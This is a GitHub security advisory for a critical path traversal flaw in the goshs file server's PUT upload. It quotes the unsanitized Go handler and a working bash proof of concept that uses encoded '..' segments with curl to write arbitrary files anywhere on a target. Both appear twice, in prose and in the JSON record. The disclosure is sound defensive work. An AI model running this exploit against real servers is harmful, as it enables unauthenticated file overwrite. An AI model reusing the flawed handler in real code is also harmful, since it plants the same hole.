GHSA-G8MV-VP7J-QP64

Vulnerability from github – Published: 2026-04-03 04:07 – Updated: 2026-04-06 23:43
VLAI?
Summary
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
Details

Summary

  • PUT upload has no path sanitization | httpserver/updown.go:20-69

This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())

The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.

func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write

UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.5-0.20260401172448-237f3af891a9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T04:07:55Z",
    "nvd_published_at": "2026-04-06T21:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n* PUT upload has no path sanitization | `httpserver/updown.go:20-69`\n\nThis finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:20-69`\n**Trigger:** `PUT /\u003cpath\u003e` (server.go:57-59 routes directly to `put()`)\n\nThe handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.\n\n```go\nfunc (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {\n    upath := req.URL.Path                              // unsanitized\n\n    filename := strings.Split(upath, \"/\")\n    outName := filename[len(filename)-1]\n\n    targetpath := strings.Split(upath, \"/\")\n    targetpath = targetpath[:len(targetpath)-1]\n    target := strings.Join(targetpath, \"/\")\n\n    savepath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, outName)\n    // ...\n    os.Create(savepath)                                // arbitrary path write\n```\n\n`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.\n\n**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Write an arbitrary file on a running goshs instance via PUT.\n#\n# Usage: ./arbitrary_overwrite1.sh \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nLOCAL_FILE=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nTARGET=\"${4:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n    echo \"[-] Local file not found: $LOCAL_FILE\"\n    exit 1\nfi\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / from target\nTARGET_REL=\"${TARGET#/}\"\n\nPUT_PATH=\"/${TRAVERSAL}${TARGET_REL}\"\n\necho \"[*] Source:  ${LOCAL_FILE}\"\necho \"[*] Target:  ${TARGET}\"\necho \"[*] PUT:     ${PUT_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    --path-as-is \\\n    -X PUT --data-binary \"@${LOCAL_FILE}\" \\\n    \"http://${HOST}:${PORT}${PUT_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
  "id": "GHSA-g8mv-vp7j-qp64",
  "modified": "2026-04-06T23:43:45Z",
  "published": "2026-04-03T04:07:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-g8mv-vp7j-qp64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35392"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) in goshs PUT Upload"
}


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